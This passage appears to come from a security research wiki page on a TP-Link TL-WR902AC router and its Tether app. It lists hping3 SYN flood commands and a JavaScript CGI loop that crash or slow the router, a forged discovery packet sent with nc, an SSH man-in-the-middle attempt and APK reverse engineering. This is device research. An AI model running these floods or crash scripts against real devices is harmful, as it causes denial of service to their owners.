&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# TCP SYN FLOOD ATTACK&lt;br /&gt;
# Strongly affects the overall system performance and makes even a UART connection buggy&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
# Makes everything slower but no global denial of service&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 22 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 21 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 139 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 445 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 1900 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 40955 --flood --rand-source 192.168.1.1&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;h4 style=&amp;quot;display: inline&amp;quot;&amp;gt;Using some odd CGI calls&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Also crashes the server (Dont know which oid)&lt;br /&gt;
// httpd still running but not responding anymore (doesnt kill any service)&lt;br /&gt;
var oid_list = [IGD, IGD_DEV_INFO, SYSLOG_CFG, MANAGEMENT_SERVER, ETH_SWITCH, SYS_CFG, NET_CFG, USER_CFG, CURRENT_USER, APP_CFG, HTTP_CFG, PH_DDNS_CFG, PH_RT_DATA, DYN_DNS_CFG, UPNP_CFG, UPNP_PORTMAPPING, DIAG_TOOL, CWMP_CFG, SNMP_CFG, NOIP_DNS_CFG, CMX_DNS_CFG, ACL_CFG, WAN_TYPE_DETECT, DMZ_HOST_CFG, TIME, HOUR, L3_FORWARDING, L3_FORWARDING_ENTRY, L3_IP6_FORWARDING, L3_IP6_FORWARDING_ENTRY, L2_BRIDGING, L2_BRIDGING_ENTRY, L2_BRIDGING_FILTER, L2_BRIDGING_INTF, LAN_DEV, LAN_HOST_CFG, LAN_IP_INTF, LAN_DHCP_STATIC_ADDR, LAN_DHCP_COND_SRV_POOL, LAN_DHCP_COND_SRV_POOL_OPT, YANDEX_DNS_POOL, LAN_IP6_HOST_CFG, LAN_IP6_INTF, LAN_ETH_INTF, LAN_HOSTS, LAN_HOST_ENTRY, LAN_WLAN, LAN_WLAN_WPS, LAN_WLAN_MACTABLEENTRY, LAN_WLAN_ASSOC_DEV, LAN_WLAN_BSSDESC_ENTRY, LAN_WLAN_WEPKEY, LAN_WLAN_WDSBRIDGE, LAN_WLAN_MULTISSID, LAN_WLAN_MSSIDENTRY, LAN_WLAN_MSSIDWEPKEY, MSSID_MACTABLEENTRY, LAN_WLAN_WLBRNAME, LAN_WLAN_TASK_SCHEDULE, LAN_WLAN_QUICKSAVE, LAN_WLAN_GUESTNET, LAN_IGMP_SNOOP, WAN_DEV, WAN_COMMON_INTF_CFG, WAN_DSL_INTF_CFG, WAN_DSL_INTF_STATS, WAN_DSL_INTF_STATS_TOTAL, WAN_DSL_AUTOPVC, WAN_DSL_AUTO_PVC_PAIR, WAN_ETH_INTF, WAN_ETH_INTF_STATS, WAN_PON, WAN_EPON_INTF, WAN_EPON_INTF_OAM_STATS, WAN_EPON_INTF_MPCP_STATS, WAN_EPON_INTF_STATS, WAN_EPON_INTF_OPTICAL_STATS, WAN_GPON_INTF, WAN_GPON_INTF_OMCI_STATS, WAN_GPON_INTF_STATS, WAN_GPON_INTF_OPTICAL_STATS, WAN_CONN_DEVICE, WAN_DSL_LINK_CFG, WAN_PON_LINK_CFG, WAN_ETH_LINK_CFG, WAN_USB_3G_LINK_CFG, USB_MODEM_PARAM, WAN_L2TP_CONN, WAN_L2TP_CONN_PORTMAPPING, L2TP_CONN_PORTTRIGGERING, WAN_L2TP_CONN_STATS, WAN_PPTP_CONN, WAN_PPTP_CONN_PORTMAPPING, PPTP_CONN_PORTTRIGGERING, WAN_PPTP_CONN_STATS, WAN_IP_CONN, WAN_IP_CONN_PORTMAPPING, IP_CONN_PORTTRIGGERING, WAN_PPP_CONN, WAN_PPP_CONN_PORTMAPPING, PPP_CONN_PORTTRIGGERING, WAN_PPP_CONN_STATS, STAT_CFG, STAT_ENTRY, DDOS_CFG, DOS_HOST, ARP, ARP_ENTRY, ARP_BIND, ARP_BIND_ENTRY, QUEUE_MANAGEMENT, CLASSIFICATION, QOS_APP, QOS_INTF, QOS_QUEUE, TC, TC_RULE, ALG_CFG, IPTV, DSL_IPTV_CFG, ETH_IPTV_CFG, FIREWALL, INTERNAL_HOST, EXTERNAL_HOST, TASK_SCHEDULE, RULE, URL_LIST, URL_CFG, IP6_FIREWALL, IP6_INTERNAL_HOST, IP6_EXTERNAL_HOST, IP6_TASK_SCHEDULE, IP6_RULE, IP6_TUNNEL, DSLITE, SIT_6RD, SERVICES, VOICE, XTP_VOICE_PROCESS_STS, XTP_VOICE_PROCESS, VOICE_CAP, VOICE_CAP_SIP, VOICE_CAP_MGCP, VOICE_CAP_CODECS, VOICE_PROF, VOICE_PROF_PROVIDER, VOICE_PROF_SIP, VOICE_PROF_SIP_EVTSUBSCRIBE, VOICE_PROF_MGCP, VOICE_PROF_RTP, VOICE_PROF_FAXT38, XTP_USB_VOICEMAIL_PUBLICCFG, XTP_MULTI_ISP, XTP_MULTIISP_CODEC, XTP_MULTIISP_CODEC_LIST, VOICE_PROF_LINE, VOICE_PROF_LINE_SIP, VOICE_PROF_LINE_XTPUSBVM, VOICE_PROF_LINE_CALLFEAT, VOICE_PROF_LINE_PROC, VOICE_PROF_LINE_CODEC, VOICE_PROF_LINE_CODEC_LIST, VOICE_PROF_LINE_STATS, XTP_FEATURE_CODE, VOICE_PHY_INTERFACE, VOICE_PHYINTERFACE_TESTS, XTP_VOICE_MULTI_ISPDIALPLAN, XTP_VOICE_PSTN, STORAGE_SERVICE, CAPABLE, USER_ACCOUNT, USB_DEVICE, LOGICAL_VOLUME, FOLDER_BROWSE, FOLDER_NODE, DLNA_MEDIA_SERVER, DLNA_MEDIA_SERVER_FOLDER, SMB_SERVICE, SMB_SERVICE_FOLDER, SMB_USER_ACCESS, FTP_SERVER, FTP_SERVER_FOLDER, FTP_USER_ACCESS, XTP_PRINT_SERVICE, XTP_IGD_CALL_FIREWALL_CFG, XTP_IGD_SPEED_DIAL_CFG, XTP_IGD_MULTI_ISP_DIAL_PLAN, XTP_IGD_MULTIISPDP_LIST, XTP_CALLLOGCFG, IPSEC, IPSEC_CFG, SYS_MODE, EWAN, USER_INFO, GPON_USER_INFO, GPON_AUTH_CTC, GPON_AUTH_SN, GPON_AUTH_PWD, GPON_MAC_INFO, GPON_FWD_RULE, GPON_LOCAL_RULE_ENTRY, GPON_REMOTE_RULE_ENTRY, GPON_OMCI_IOT, GPON_OMCI_IOT_ENTRY, GPON_OMCI_ME_ATTR, CLOUD_SERVICE, FW_UPGRADE_INFO, CLOUD_USER_ACCOUNT, OWNER_INFO, CURRENT_USER_INFO, CLOUD_DDNS, CLOUD_DDNS_ENTRY, WAN_BLOCK, WAN_ERROR_BLOCK, FW_UP_INFO_BLOCK, IPPING_DIAG, TRACEROUTE_DIAG, SDMZ_CFG, WEB_CFG, VLAN, ISP_SERVICE, WOL, WOL_ITEM, IPV6_CFG, SYS_STATE, IPV6_PASS_THROUGH, AUTO_REBOOT_CFG, CPU_MEM, PRODUCE_INFO, MULTIMODE, MULTIMODE_AP, AP_CONFIG_WEPKEY, AP_SNMP_CFG, MULTIMODE_CLIENT, MULTIMODE_RE, RE_CONFIG_WEPKEY, MULTIMODE_ROUTER, ROUTER_CONFIG_WEPKEY, ROUTER_CONFIG_MULTISSID, ROUTER_CONFIG_MSSIDENTRY, MULTIMODE_MSSID, MSSID_CONFIG_MULTISSID, MSSID_CONFIG_MSSIDENTRY, MULTIMODE_HOTSPOT, PING_WATCH_DOG, LED_CONTROL];&lt;br /&gt;
&lt;br /&gt;
for(let i=0; i&amp;lt;oid_list.length; i++){&lt;br /&gt;
	$.act(ACT_GL, oid_list[i]);&lt;br /&gt;
	$.exe();&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Mobile App&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Tether&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;&amp;quot;TP-Link Tether provides the easiest way to access and manage your TP-Link Router/ xDSL Router/ Range Extender with your mobile devices. From quick setup to parental controls, Tether provides a simple, intuitive user interface to see your device status, online client devices and their privileges.&amp;quot;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The TP-Link tether app adopts SSH services and TCP port 22 is opened on supported TP-Link devices. However, these SSH Services are only available for TP-Link apps. Other SSH clients cannot access to TP-Link products or adjust their settings with command lines. &amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/us/support/faq/2462/ Support]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left;&amp;quot;&amp;gt;OS&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left;&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Android&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;https://play.google.com/store/apps/details?id=com.tplink.tether&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;IOS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;https://itunes.apple.com/us/app/tp-link-tether/id599496594?ls=1&amp;amp;mt=8&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Requires in-depth investigation!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Wireshark_tether_app_device_decovery.png|300px|right|thumb|Tether: Wireshark Device Discovery]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Device Discovery&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Before establishing an SSH session, the Tether app sends an multicast discovery UDP packet to &amp;lt;code&amp;gt;255.255.255.255&amp;lt;/code&amp;gt; on port &amp;lt;code&amp;gt;20002&amp;lt;/code&amp;gt;. This message gets send 4 times. After that, the Tether app send another unicast message to responding devices on port &amp;lt;code&amp;gt;20002&amp;lt;/code&amp;gt;. The syntax of the payload is mostly unclear, an change after a restart. Anyway a device will still respond to any payload captured at any time. I assume that this discovery process is used to get device capatibilities and to finally initialize a secure channel via SSH. How the SSH tunnel gets initiated is also unkown at this state of research. The Tether app uses [http://www.jcraft.com/jsch/ Java Secure Channel] client and the devices use a dropbear server for SSH connections.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Multicast Discovery Request&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
Internet Protocol Version 4, Src: 192.168.1.102, Dst: 255.255.255.255&lt;br /&gt;
User Datagram Protocol, Src Port: 54909, Dst Port: 20002&lt;br /&gt;
Data: 0100000200001101000001d235406ce6 (16 bytes)&lt;br /&gt;
&lt;br /&gt;
	// 0000   ff ff ff ff ff ff 3c 22 fb 9b fb 7e 08 00 45 00   ......&amp;lt;&amp;quot;...~..E.&lt;br /&gt;
	// 0010   00 2c 16 ae 40 00 40 11 62 05 c0 a8 01 66 ff ff   .,..@.@.b....f..&lt;br /&gt;
	// 0020   ff ff d6 7d 4e 22 00 18 63 14 01 00 00 02 00 00   ...}N&amp;quot;..c.......&lt;br /&gt;
	// 0030   11 01 00 00 01 d2 35 40 6c e6                     ......5@l.&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Multicast Discovery Response&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.102&lt;br /&gt;
User Datagram Protocol, Src Port: 20002, Dst Port: 54909&lt;br /&gt;
Data: 0100000200b01201000001d2fdb65d9800010004c0a80101… (192 bytes)&lt;br /&gt;
&lt;br /&gt;
	// 0000   3c 22 fb 9b fb 7e 98 da c4 6e 00 fc 08 00 45 00   &amp;lt;&amp;quot;...~...n....E.&lt;br /&gt;
	// 0010   00 dc 00 00 40 00 40 11 b6 59 c0 a8 01 01 c0 a8   ....@.@..Y......&lt;br /&gt;
	// 0020   01 66 4e 22 d6 7d 00 c8 3e c8 01 00 00 02 00 b0   .fN&amp;quot;.}..&amp;gt;.......&lt;br /&gt;
	// 0030   12 01 00 00 01 d2 fd b6 5d 98 00 01 00 04 c0 a8   ........].......&lt;br /&gt;
	// 0040   01 01 ff 00 00 00 00 06 00 04 ff ff ff 00 ff 00   ................&lt;br /&gt;
	// 0050   00 00 00 02 00 11 39 38 3a 44 41 3a 43 34 3a 36   ......98:DA:C4:6&lt;br /&gt;
	// 0060   45 3a 30 30 3a 46 43 ff 00 00 00 03 00 0c 54 50   E:00:FC.......TP&lt;br /&gt;
	// 0070   2d 4c 69 6e 6b 5f 30 30 46 43 ff 00 00 00 00 04   -Link_00FC......&lt;br /&gt;
	// 0080   00 04 00 0d c8 8f ff 00 00 00 00 05 00 0a 54 4c   ..............TL&lt;br /&gt;
	// 0090   2d 57 52 39 30 32 41 43 ff 00 00 08 00 04 00 00   -WR902AC........&lt;br /&gt;
	// 00a0   00 01 ff 00 00 00 00 09 00 0e 57 69 72 65 6c 65   ..........Wirele&lt;br /&gt;
	// 00b0   73 73 52 6f 75 74 65 72 ff 00 00 10 00 28 65 64   ssRouter.....(ed&lt;br /&gt;
	// 00c0   63 38 37 66 37 39 37 32 37 31 39 66 66 33 36 64   c87f7972719ff36d&lt;br /&gt;
	// 00d0   30 37 36 66 61 30 35 34 30 65 33 39 62 62 46 46   076fa0540e39bbFF&lt;br /&gt;
	// 00e0   30 30 30 30 30 30 ff 00 00 00                     000000....&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Unicast Discovery Request&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;Internet Protocol Version 4, Src: 192.168.1.102, Dst: 192.168.1.1&lt;br /&gt;
User Datagram Protocol, Src Port: 44794, Dst Port: 20002&lt;br /&gt;
Data: 0100000200001101000003e56b89a97b (16 bytes)&lt;br /&gt;
&lt;br /&gt;
	// 0000   98 da c4 6e 00 fc 3c 22 fb 9b fb 7e 08 00 45 00   ...n..&amp;lt;&amp;quot;...~..E.&lt;br /&gt;
	// 0010   00 2c a6 c3 40 00 40 11 10 46 c0 a8 01 66 c0 a8   .,..@.@..F...f..&lt;br /&gt;
	// 0020   01 01 ae fa 4e 22 00 18 53 fc 01 00 00 02 00 00   ....N&amp;quot;..S.......&lt;br /&gt;
	// 0030   11 01 00 00 03 e5 6b 89 a9 7b                     ......k..{&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Unicast Discovery Response&amp;lt;/b&amp;gt; &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.102&lt;br /&gt;
User Datagram Protocol, Src Port: 20002, Dst Port: 44794&lt;br /&gt;
Data: 0100000200b01201000003e56c37995b00010004c0a80101… (192 bytes)&lt;br /&gt;
&lt;br /&gt;
	// 0000   3c 22 fb 9b fb 7e 98 da c4 6e 00 fc 08 00 45 00   &amp;lt;&amp;quot;...~...n....E.&lt;br /&gt;
	// 0010   00 dc 00 00 40 00 40 11 b6 59 c0 a8 01 01 c0 a8   ....@.@..Y......&lt;br /&gt;
	// 0020   01 66 4e 22 ae fa 00 c8 b9 f4 01 00 00 02 00 b0   .fN&amp;quot;............&lt;br /&gt;
	// 0030   12 01 00 00 03 e5 6c 37 99 5b 00 01 00 04 c0 a8   ......l7.[......&lt;br /&gt;
	// 0040   01 01 ff 00 00 00 00 06 00 04 ff ff ff 00 ff 00   ................&lt;br /&gt;
	// 0050   00 00 00 02 00 11 39 38 3a 44 41 3a 43 34 3a 36   ......98:DA:C4:6&lt;br /&gt;
	// 0060   45 3a 30 30 3a 46 43 ff 00 00 00 03 00 0c 54 50   E:00:FC.......TP&lt;br /&gt;
	// 0070   2d 4c 69 6e 6b 5f 30 30 46 43 ff 00 00 00 00 04   -Link_00FC......&lt;br /&gt;
	// 0080   00 04 00 0d c8 8f ff 00 00 00 00 05 00 0a 54 4c   ..............TL&lt;br /&gt;
	// 0090   2d 57 52 39 30 32 41 43 ff 00 00 08 00 04 00 00   -WR902AC........&lt;br /&gt;
	// 00a0   00 01 ff 00 00 00 00 09 00 0e 57 69 72 65 6c 65   ..........Wirele&lt;br /&gt;
	// 00b0   73 73 52 6f 75 74 65 72 ff 00 00 10 00 28 65 64   ssRouter.....(ed&lt;br /&gt;
	// 00c0   63 38 37 66 37 39 37 32 37 31 39 66 66 33 36 64   c87f7972719ff36d&lt;br /&gt;
	// 00d0   30 37 36 66 61 30 35 34 30 65 33 39 62 62 46 46   076fa0540e39bbFF&lt;br /&gt;
	// 00e0   30 30 30 30 30 30 ff 00 00 00                     000000....&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Forged Unicast Discovery Request plus Response Example&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;echo -e &#039;\x01&#039;&#039;\x00&#039;&#039;\x00&#039;&#039;\x02&#039;&#039;\x00&#039;&#039;\x00&#039;&#039;\x11&#039;&#039;\x01&#039;&#039;\x00&#039;&#039;\x00&#039;&#039;\x02&#039;&#039;\x89&#039;&#039;\xfc&#039;&#039;\x17&#039;&#039;\xe0&#039;&#039;\x92&#039; | nc -u 192.168.1.1 20002 | hexdump -C&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;hexdump&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
00000000  01 00 00 02 00 b0 12 01  00 00 02 89 d2 9d a4 13  |................|&lt;br /&gt;
00000010  00 01 00 04 c0 a8 01 01  ff 00 00 00 00 06 00 04  |................|&lt;br /&gt;
00000020  ff ff ff 00 ff 00 00 00  00 02 00 11 39 38 3a 44  |............98:D|&lt;br /&gt;
00000030  41 3a 43 34 3a 36 45 3a  30 30 3a 46 43 ff 00 00  |A:C4:6E:00:FC...|&lt;br /&gt;
00000040  00 03 00 0c 54 50 2d 4c  69 6e 6b 5f 30 30 46 43  |....TP-Link_00FC|&lt;br /&gt;
00000050  ff 00 00 00 00 04 00 04  00 0d c8 8f ff 00 00 00  |................|&lt;br /&gt;
00000060  00 05 00 0a 54 4c 2d 57  52 39 30 32 41 43 ff 00  |....TL-WR902AC..|&lt;br /&gt;
00000070  00 08 00 04 00 00 00 01  ff 00 00 00 00 09 00 0e  |................|&lt;br /&gt;
00000080  57 69 72 65 6c 65 73 73  52 6f 75 74 65 72 ff 00  |WirelessRouter..|&lt;br /&gt;
00000090  00 10 00 28 65 64 63 38  37 66 37 39 37 32 37 31  |...(edc87f797271|&lt;br /&gt;
000000a0  39 66 66 33 36 64 30 37  36 66 61 30 35 34 30 65  |9ff36d076fa0540e|&lt;br /&gt;
000000b0  33 39 62 62 46 46 30 30  30 30 30 30 ff 00 00 00  |39bbFF000000....|&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Point of interest&amp;lt;/b&amp;gt;: edc87f7972719ff36d076fa0540e39bb (32B) FF000000 (8B)&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;SSH Man-in-the-middle&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;Using [https://github.com/jtesta/ssh-mitm ssh-mitm], it was possible to interfear the credential on connnection establishment between the mobile App and a device. However, the connection then breaks down because Tether notices that something is wrong. I suspect this has to do with an SSH tunnel or similar. Unfortunately I don&#039;t know how the Tether App exchanges data via SSH.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Reverse Engineering&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;The APK can be decompiled using [https://ibotpeaches.github.io/Apktool/ Apktool] and [https://github.com/skylot/jadx jadx].&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; ./assets/tp-link-root-CA.pem&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;-----BEGIN CERTIFICATE-----&lt;br /&gt;
MIIDBzCCAe+gAwIBAgIQT5x0ma7QnINHCQvhnmzR9zANBgkqhkiG9w0BAQsFADAV&lt;br /&gt;
MRMwEQYDVQQDEwp0cC1saW5rLUNBMCAXDTE4MDExOTA4Mjc1MloYDzIwNjgwMTE5&lt;br /&gt;
MDgzNzUyWjAVMRMwEQYDVQQDEwp0cC1saW5rLUNBMIIBIjANBgkqhkiG9w0BAQEF&lt;br /&gt;
AAOCAQ8AMIIBCgKCAQEAuGG8n5zEUN1j5wuvUz4pAIMurhKHbpfUUu+b2acFHKS6&lt;br /&gt;
iU9hNJWvDyhXcihY5Wz6aq9m4D5SZcgW3k31YoNNtrztDjdg2qw7AaX85S99/G0B&lt;br /&gt;
VbIXktrhs34OW19WA/haDwut3dFhLem+gCRRKUXcmuqchZc84dY7JFVfhPcJci4m&lt;br /&gt;
sRjLCFNO0ho9OX+MZwfO4BLaeAqKVoAor6rf4BXVtO0xjYHDKO0fb3AWLLJ4EjGe&lt;br /&gt;
q6YieqPiYlPFEqRm5PrvBXTm0IuQogygyVpK4LHr/K207ZLyV33DxLLbsUgSEJVn&lt;br /&gt;
pZUv/WUujXjlIDgxIvyZZCYiXO3dle2/MEvpmZk6JQIDAQABo1EwTzALBgNVHQ8E&lt;br /&gt;
BAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUxu2iBRTsef5iNnsADVhM&lt;br /&gt;
JDQWi6kwEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZIhvcNAQELBQADggEBAB52Majd&lt;br /&gt;
+wo3cb5BsTo63z2Psbbyl4ACMUaw68NxUMy61Oihx3mcLzLJqiIZcKePiHskLqLJ&lt;br /&gt;
F7QfT9TqjvizMjFJVgsLuVubUBXKBzqyN+3KKlQci0PO3mH+ObhyaE7BzV+qrS3P&lt;br /&gt;
dVTgsCWFv8DkgLTRudSWxL7VwVoedc7lRz5EroGgJ33nRGCR0ngcW919tLTARDQO&lt;br /&gt;
pULmzulcdWeZgG+0PLX0xjJQIjFEvbOxR1Z+gxMupBz0rWFokmWYrcga8eWiWzjQ&lt;br /&gt;
Ia3/ASBVJ69srV77trWlfLumkChbXk9i64NXBKnce0Jmll0Y9OC1nMPqrbQKnzcn&lt;br /&gt;
dSAA4fejD/qMQn0=&lt;br /&gt;
-----END CERTIFICATE-----&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; openssl x509 -in tp-link-root-CA.pem --text&amp;lt;/div&amp;gt;&lt;br /&gt;
